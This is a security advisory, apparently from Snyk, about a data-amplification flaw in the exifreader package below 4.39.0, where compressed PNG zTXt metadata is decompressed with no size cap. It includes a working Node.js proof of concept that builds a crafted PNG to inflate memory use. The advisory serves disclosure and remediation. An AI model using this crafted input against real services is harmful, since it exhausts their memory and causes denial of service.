Improper Handling of Highly Compressed Data (Data Amplification) Affecting exifreader package, versions <4.39.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (13th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-EXIFREADER-16689340
  • published18 May 2026
  • disclosed6 May 2026
  • creditYuki Matsuhashi

Introduced: 6 May 2026

NewCVE-2026-8814  (opens in a new tab)
CWE-409  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade exifreader to version 4.39.0 or higher.

Overview

exifreader is a Library that parses Exif metadata in images.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) due to decompressing PNG zTXt metadata without enforcing a built-in maximum decompressed output size. When asynchronous parsing is enabled, a crafted PNG file containing a highly compressed zTXt chunk can cause ExifReader to materialize a disproportionately large Comment value in memory.

PoC

import { deflateSync } from 'node:zlib'
import ExifReader from 'exifreader'

const MiB = 1024 * 1024

function chunk(type, data = Buffer.alloc(0)) {
  const out = Buffer.alloc(12 + data.length)
  out.writeUInt32BE(data.length, 0)
  out.write(type, 4, 'ascii')
  data.copy(out, 8)
  out.writeUInt32BE(0, 8 + data.length)
  return out
}

async function run(configuredMiB) {
  const compressed = deflateSync(Buffer.alloc(configuredMiB * MiB, 0x41), {
    level: 9
  })

  const png = Buffer.concat([
    Buffer.from('89504e470d0a1a0a', 'hex'),
    chunk('IHDR', Buffer.from('00000001000000010806000000', 'hex')),
    chunk('zTXt', Buffer.concat([
      Buffer.from('Comment\0', 'latin1'),
      Buffer.from([0x00]),
      compressed
    ])),
    chunk('IEND')
  ])

  const tags = await ExifReader.load(png, { async: true })

  console.log({
    configuredMiB,
    pngInputBytes: png.length,
    commentLength: tags.Comment.value.length
  })
}

for (const configuredMiB of [32, 64, 128]) {
  await run(configuredMiB)
}

CVSS Base Scores

version 4.0
version 3.1